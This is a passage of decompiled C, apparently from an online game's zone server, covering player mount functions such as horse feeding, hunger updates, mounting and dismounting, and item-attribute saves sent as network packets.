ebx@3 int v7; // eax@3 char *v8; // esi@3 int v9; // esi@3 int v10; // eax@3 ZoneBaseSession *v11; // eax@5 char *v12; // [sp+8h] [bp-24h]@2 ITEM_INVEN inv; // [sp+18h] [bp-14h]@3 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v15; // [sp+28h] [bp-4h]@1 int slota; // [sp+38h] [bp+Ch]@3 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( slot >= 0 ) { v5 = *((_DWORD *)v4 + 14470); v6 = *(_DWORD *)(ridecell + 112); v7 = (itembox << 10) | slot & 0x3FF; inv.Inven = ((_WORD)itembox << 10) | slot & 0x3FF; LOWORD(v7) = *((_WORD *)v4 + 28942); slota = (int)((char *)v4 + 57880); (*(void (__stdcall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(v5 + 56))(v7, ridecell, ridecell, &inv, &inv); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v8 + 4) = *((_WORD *)v4 + 28942); *(_DWORD *)(v8 + 10) = *(_DWORD *)ridecell; *(_DWORD *)(v8 + 14) = *(_DWORD *)(ridecell + 4); *((_WORD *)v8 + 9) = *(_WORD *)(ridecell + 8); memcpy(v8 + 20, (const void *)(ridecell + 10), 0x65u); (*(void (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10); v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10) + 20; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 20) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : Packet Too Long", v9); } ++*(_WORD *)(slota + 4); v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; } else { v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (00450740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendHorseHungry(void *this, int hungry) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8262; *((_WORD *)v3 + 1) = hungry; *((_BYTE *)v2 + 143164) = hungry == 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"); } //----- (00450830) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket(void *this, __int16 errorcode, char invenType) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12310; *((_WORD *)v4 + 1) = errorcode; *((_WORD *)v4 + 2) = *((_WORD *)v3 + 71629); v4[6] = invenType; ProtocolPacket::pp_SetPacketLen(&gpp, 7); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); *((_WORD *)v3 + 71629) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"); } //----- (00450910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseItemSave(void *this) { void *v1; // edi@1 int v2; // eax@3 int v3; // ebp@3 int v4; // ecx@4 unsigned int v5; // eax@6 int v6; // ecx@7 unsigned __int16 *v7; // ecx@8 unsigned __int16 v8; // cx@9 E_BelongType v9; // eax@12 char *v10; // esi@13 __int16 v11; // ax@13 int v12; // eax@13 __int16 v13; // dx@13 int v14; // eax@13 ZoneBaseSession *v15; // eax@15 char *v16; // [sp-4h] [bp-20h]@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseItemSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseItemSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v1 + 143165) == 1 ) { v16 = "ShineObjectClass::ShinePlayer::sp_HorseItemSave"; } else { v2 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8920))( (char *)v1 + 35680, *((_WORD *)v1 + 71571)); v3 = v2; if ( v2 ) { v4 = *(_DWORD *)(v2 + 112); if ( v4 ) { if ( (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 144))(v2) != 1 ) { v5 = *(_WORD *)(v3 + 8); if ( v5 < unk_131DE8B4 ) { v6 = unk_131DF0C4 + 32 * v5; if ( v6 ) { v7 = *(unsigned __int16 **)v6; if ( v7 ) { v8 = *v7; if ( v8 == *(_WORD *)(v3 + 8) ) { v9 = ItemBelongAttribute::operator__(&g_ItmBelongAttr, (ItemTotalInformation *)v3); if ( CItemAuthorityBase::IA_IsDataPutOnBelonged(&g_ItmBelongAttr.baseclass_0, v9) ) { *(_DWORD *)(v3 + 18) = 1; v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1364; *(_DWORD *)(v10 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v10 + 6) = *(_DWORD *)v3; v11 = *((_WORD *)v10 + 7); *(_DWORD *)(v10 + 10) = *(_DWORD *)(v3 + 4); v12 = v11 & 0x3FF | 0x2400; *((_WORD *)v10 + 7) = v12; v13 = v12 ^ (v12 ^ *((_WORD *)v1 + 71571)) & 0x3FF; LOWORD(v12) = *((_WORD *)v10 + 8); *((_WORD *)v10 + 7) = v13; v14 = v12 & 0x3FF | 0x2400; *((_WORD *)v10 + 8) = v14; *((_WORD *)v10 + 8) = v14 ^ (v14 ^ *((_WORD *)v1 + 71571)) & 0x3FF; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v15); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HorseItemSave : Packet Too Long", 18); } } ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v1, v3, 9, *((_WORD *)v1 + 71571)); } else { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v8 + 10000 * v5); } } } } } } } v16 = "ShineObjectClass::ShinePlayer::sp_HorseItemSave"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); } //----- (00450B30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HorseFeed(void *this) { void *v1; // esi@1 __int16 v2; // ax@2 int v3; // eax@7 int v4; // ecx@7 int v5; // edi@7 int v6; // ebx@7 int v7; // eax@9 char *v8; // [sp-4h] [bp-24h]@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1152))(v1) != 6 ) goto LABEL_4; v2 = *((_WORD *)v1 + 71571); if ( v2 < 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed : No ride", v2 >= 0); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"); return; } if ( *((_DWORD *)v1 + 35786) ) { v3 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8920))( (char *)v1 + 35680, v2); v4 = *((_DWORD *)v1 + 35786); v5 = v3; v6 = *(_DWORD *)(v3 + 112); if ( *(_WORD *)(v3 + 8) == *(_WORD *)v4 ) { (*(void (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)v6 + 56))( v6, v3, *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 35786) + 4) + 196), *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 35786) + 4) + 198)); ShineObjectClass::ShinePlayer::sp_HorseItemSave(v1); v7 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 60))(v6, v5); ShineObjectClass::ShinePlayer::sp_SendHorseHungry(v1, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No Ride", *(_WORD *)(v3 + 8) == *(_WORD *)v4); } v8 = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed : No info", 0); v8 = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); } //----- (00450CB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOn(void *this, unsigned __int8 skillcooltime) { int v2; // ebp@1 char v3; // al@1 int v4; // ebx@1 const void *v5; // esi@1 int v6; // esi@2 char v7; // al@4 void *v8; // ebp@4 int v9; // ebx@8 int v10; // edi@8 int v11; // edx@9 char *v12; // esi@9 int v13; // ST28_4@9 int v14; // eax@9 int v15; // eax@11 int v16; // esi@12 int v17; // eax@13 char *v18; // eax@14 int v19; // ecx@15 char *v20; // eax@16 char *v21; // ST34_4@18 DebugLogging *v22; // eax@18 DebugLogging *v23; // eax@18 DebugLogging *v24; // eax@18 DebugLogging *v25; // eax@18 DebugLogging *v26; // eax@18 char *v27; // eax@19 int v28; // eax@20 int v29; // edx@20 int v30; // eax@20 int v31; // ST3C_4@20 int v32; // eax@20 int v33; // esi@22 FunctionEntarance _; // [sp+50h] [bp-20h]@1 int v35; // [sp+54h] [bp-1Ch]@9 AxialListPacketBroadcast alchat; // [sp+58h] [bp-18h]@9 int v37; // [sp+6Ch] [bp-4h]@1 v2 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_HorseOn"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseOn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_BYTE *)(v2 + 139547); v4 = v2 + 139500; v5 = (const void *)(*(_DWORD *)(v2 + 32160) + 29); v37 = 0; if ( !v3 ) { memcpy((void *)v4, v5, 0x2Cu); v6 = (int)((char *)v5 + 44); *(_WORD *)(v2 + 139544) = *(_WORD *)v6; *(_BYTE *)(v2 + 139546) = *(_BYTE *)(v6 + 2); *(_BYTE *)(v2 + 139547) = 1; } if ( !ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo((void *)v2, *(_DWORD *)(v2 + 32160) + 29) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 65, 4291); v7 = *(_BYTE *)(v2 + 139547); v8 = (void *)(*(_DWORD *)(v2 + 32160) + 29); if ( v7 ) { memcpy(v8, (const void *)v4, 0x2Fu); *(_BYTE *)(v4 + 47) = 0; } goto LABEL_27; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 1000))(v2, 208) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 65, 4291); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2256))(v2); LABEL_27: --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOn"); return; } **(_BYTE **)(v2 + 3568) = 6; v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v2 + 35680))(v2 + 35680, *(_WORD *)(v2 + 143142)); v10 = *(_DWORD *)(v9 + 112); if ( !v10 ) goto LABEL_27; v11 = *(_DWORD *)v10; v35 = v9 + 8; (*(void (__thiscall **)(int, int, signed int))(v11 + 96))(v10, v9 + 8, 1); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8256; *((_WORD *)v12 + 1) = *(_WORD *)(v2 + 4); *((_WORD *)v12 + 2) = *(_WORD *)(*(_DWORD *)(v2 + 32160) + 76); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v13 = *(_DWORD *)(v2 + 78); LOBYTE(v37) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v14, v13, 0, 0, (int)&alchat, 0, 65535); *(_WORD *)v12 = 8255; *((_WORD *)v12 + 1) = *(_WORD *)(*(_DWORD *)(v2 + 32160) + 76); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Packet Too Long", 4); } v16 = *(_DWORD *)(v2 + 143144); if ( v16 && (v17 = *(_DWORD *)(v16 + 4)) != 0 ) { *(_WORD *)(v2 + 143154) = *(_WORD *)(v17 + 208); *(_WORD *)(v2 + 143156) = *(_WORD *)(*(_DWORD *)(v16 + 4) + 206); *(_DWORD *)(v2 + 143160) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v16 + 4) + 202) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v16 + 4) + 202) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v18 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v2 + 3348))( v2, **(_WORD **)v18, *(_DWORD *)(*(_DWORD *)(v16 + 4) + 212), 0, 0, 0); if ( skillcooltime ) { v19 = **(_WORD **)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, int, unsigned int))(*(_DWORD *)v2 + 884))( v2, v19, (unsigned int)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 143144) + 4) + 212) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); } } else { *(_WORD *)(v2 + 143154) = 10; *(_WORD *)(v2 + 143156) = 10; *(_DWORD *)(v2 + 143160) = clockwatch.cw_CurrTick; v20 = "NULL"; if ( v16 ) v20 = "Not Null"; v21 = v20; v22 = DebugLogging::operator<<(&MoverErrorLog, "CoolTimeSet["); v23 = DebugLogging::operator<<(v22, skillcooltime); v24 = DebugLogging::operator<<(v23, "] sp_RideCast.info["); v25 = DebugLogging::operator<<(v24, v21); v26 = DebugLogging::operator<<(v25, (char *)&unk_63D200); DebugLogging::operator<<(v26, &deb_LF); if ( skillcooltime ) { v27 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, _DWORD, signed int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v2 + 3348))( v2, **(_WORD **)v27, 10000, 0, 0, 0); } } ShineObjectClass::ShinePlayer::sp_HorseFree(v2); v28 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 60))(v10, v9); ShineObjectClass::ShinePlayer::sp_SendHorseHungry((void *)v2, v28); v29 = *(_DWORD *)(v2 + 57880); v30 = *(_WORD *)(v2 + 57884); v31 = *(_WORD *)(v2 + 143142); *(_WORD *)(v2 + 143158) = v30; (*(void (__thiscall **)(int, int, signed int, int))(v29 + 44))(v2 + 57880, v30, 9, v31); ++*(_WORD *)(v2 + 57884); v32 = *(_DWORD *)(v2 + 143144); if ( !v32 || !*(_DWORD *)(v32 + 4) ) { LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_27; } v33 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 48))(v10, v35); if ( !AssertClass::operator__(&shineassert, v33 != 0, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null deltime", 0) && !*(_BYTE *)v33 ) { (*(void (__thiscall **)(int, int, _DWORD, struct tm *, unsigned int))(*(_DWORD *)v10 + 52))( v10, v35, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 143144) + 4) + 130), &stru_8C8DD4, ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); ShineObjectClass::ShinePlayer::sp_HorseItemSave((void *)v2); *(_BYTE *)(v2 + 143165) = 0; } LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v37 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00451170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOff(void *ecx0) { void *v1; // esi@1 int v2; // eax@1 bool v3; // zf@1 char *v4; // eax@3 int v5; // ST04_4@3 int v6; // eax@3 AxialListPacketBroadcast *v7; // ecx@3 int v8; // eax@4 int v9; // ecx@6 char *v10; // eax@8 int v11; // ST04_4@8 int v12; // eax@8 AxialListPacketBroadcast this; // [sp+14h] [bp-24h]@3 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@8 int v15; // [sp+34h] [bp-4h]@1 v1 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseOff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 892); v3 = *(_BYTE *)v2 == 6; v15 = 0; if ( v3 ) { v3 = *((_BYTE *)v1 + 143165) == 1; *(_BYTE *)v2 = 1; if ( v3 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8259; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&this, &gpp, 4); v5 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v15) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v6, v5, 0, 0, (int)&this, 0, 65535); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 66); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 2332))(v1, 1792, 9); (*(void (__thiscall **)(char *, _DWORD))(*((_DWORD *)v1 + 14470) + 40))( (char *)v1 + 57880, *((_WORD *)v1 + 71579)); v7 = &this; LABEL_9: LOBYTE(v15) = 0; *((_BYTE *)v1 + 143165) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(v7); goto LABEL_10; } v8 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8920))( (char *)v1 + 35680, *((_WORD *)v1 + 71571)); if ( v8 ) { v9 = *(_DWORD *)(v8 + 112); if ( v9 ) { (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v9 + 96))(v8 + 8, 0); BriefInfoBackup::bib_Restore( (BriefInfoBackup *)((char *)v1 + 139500), (CHARBRIEFINFO_NOTCAMP *)(*((_DWORD *)v1 + 8040) + 29)); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8259; *((_WORD *)v10 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v11 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v15) = 2; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v12, v11, 0, 0, (int)&alchat, 0, 65535); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 66); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 2332))(v1, 1792, 9); (*(void (__thiscall **)(char *, _DWORD))(*((_DWORD *)v1 + 14470) + 40))( (char *)v1 + 57880, *((_WORD *)v1 + 71579)); ShineObjectClass::ShinePlayer::sp_HorseItemSave(v1); v7 = &alchat; goto LABEL_9; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null ItemAttribute", 0); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null rideslot", 0); } } LABEL_10: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOff"); } //----- (004513B0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ(int a1, int a2, int netcmd, int foodcell, __int16 handle) { int v5; // esi@1 __int16 v6; // ax@5 int v7; // eax@10 int v8; // ecx@10 int v9; // ebp@10 int v10; // ebx@10 unsigned int v11; // eax@12 __int16 v12; // di@14 int v13; // eax@16 int v14; // eax@18 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v16; // [sp+28h] [bp-4h]@1 int foodcella; // [sp+34h] [bp+8h]@12 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !(_S11_13 & 1) ) { _S11_13 |= 1u; cmc_37.cmc_AllowMode = 64; atexit(_E12_12); } if ( !((1 << **(_BYTE **)(v5 + 3568)) & cmc_37.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4293); LABEL_7: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); return; } v6 = *(_WORD *)(v5 + 143142); if ( v6 < 0 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No ride", v6 >= 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4293); goto LABEL_7; } if ( *(_DWORD *)(v5 + 143144) ) { v7 = (**(int (__thiscall ***)(_DWORD, _DWORD, _DWORD))(v5 + 35680))(v5 + 35680, v6, a2); v8 = *(_DWORD *)(v5 + 143144); v9 = v7; v10 = *(_DWORD *)(v7 + 112); if ( *(_WORD *)(v7 + 8) == *(_WORD *)v8 ) { foodcella = (**(int (__thiscall ***)(_DWORD, _DWORD))(v5 + 35680))(v5 + 35680, *(_BYTE *)(foodcell + 2)); v11 = BTree::operator__(&stru_131DE8B8, (const char *)(*(_DWORD *)(*(_DWORD *)(v5 + 143144) + 4) + 132)); if ( v11 == -1 ) LOWORD(v11) = -1; v12 = v11; if ( *(_WORD *)(foodcella + 8) == (unsigned __int16)v11 ) { v13 = (*(int (__stdcall **)(int))(**(_DWORD **)(foodcella + 112) + 24))(foodcella + 8); if ( AssertClass::operator__( &shineassert, v13 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : invalid lot", v13) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69); } else { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v10 + 56))( v10, v9, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v5 + 143144) + 4) + 196)); ShineObjectClass::ShinePlayer::sp_DestroyItem((void *)v5, *(_WORD *)(v5 + 4), v12, 1, 0); ShineObjectClass::ShinePlayer::sp_HorseItemSave((void *)v5); v14 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 60))(v10, v9); ShineObjectClass::ShinePlayer::sp_SendHorseHungry((void *)v5, v14); } } else { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69); } v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No Ride", *(_WORD *)(v7 + 8) == *(_WORD *)v8); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 8, 69); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No info", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4294); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); } } // 4513B0: could not find valid save-restore pair for ebp //----- (004516C0) -------------------------------------------------------- void __thiscall DirectDistanceTable::ddt_Initialize(DirectDistanceTable *this) { unsigned int v1; // edi@1 int v2; // eax@2 int v3; // ebx@2 unsigned int v4; // esi@2 long double v5; // st7@5 double v6; // st7@7 int v7; // ebx@14 double v8; // st7@22 char *v9; // esi@28 int v10; // edi@32 int v11; // ebx@32 unsigned __int64 v12; // qax@32 bool v13; // sf@32 unsigned __int8 v14; // of@32 double degree; // [sp+10h] [bp-5B8h]@9 int k; // [sp+18h] [bp-5B0h]@28 signed int deg; // [sp+1Ch] [bp-5ACh]@2 signed int dega; // [sp+1Ch] [bp-5ACh]@14 signed int x; // [sp+20h] [bp-5A8h]@1 double diffarr; // [sp+28h] [bp-5A0h]@1 char v21; // [sp+30h] [bp-598h]@1 diffarr = 1000.0; memcpy(&v21, &diffarr, 0x598u); v1 = -1024; x = -1024; do { v2 = v1 * v1; v3 = 2049 * v1; v4 = -1024; deg = -1024; while ( 1 ) { this->ddt_Table[0][v3 + v4 + 2099200].distance = (unsigned __int64)sqrt((double)(signed int)(v2 + v4 * v4)); if 